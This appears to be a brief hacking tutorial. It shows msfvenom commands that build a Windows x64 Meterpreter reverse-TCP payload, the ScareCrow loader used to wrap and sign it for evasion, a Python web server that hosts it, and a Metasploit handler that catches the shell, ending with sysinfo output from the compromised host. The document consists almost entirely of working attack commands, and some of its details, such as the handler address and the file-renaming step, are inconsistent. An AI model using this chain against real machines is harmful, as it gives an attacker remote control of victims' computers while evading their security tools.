MSFVENOM

Create a payload using MSFVenom.

 # msfconsole

> msfvenom -p /windows/x64/meterpreter/reverse_tcp LHOST = 192.168.30.23 LPORT = 4444 -f exe -o bwu.exe

> msfvenom -p /windows/x64/meterpreter/reverse_tcp LHOST = 192.168.30.23 LPORT = 4444 -f raw -o bwu.bin

Bind bwu.exe into bwu.bin

 # mv bwu.exe bwu.bin

Download scarecrow

 # git clone https://github.com/optiv/scarecrow.git

Install Golang

 # apt install golang

Build & sign payload

 # go build scarecrow.go

 # ./scarecrow -I bwu.bin -download example.com

Host the folder

 # python3 -m http.server

Exploit the payload

 # msfconsole

> search multi/handler

> use 7

> set payload /windows/x64/meterpreter/reverse_tcp

> set LHOST 192.168.30.0

Execute payload in the target machine & go to attacker msfconsole

> run

Output

> sysinfo

Computer: DESKTOP-CAT3P4L

OS: Windows 10 (Build 10586)

Architecture: x64

System Language: en-US

Logged on Users: 2

Meterpreter: x64/Windows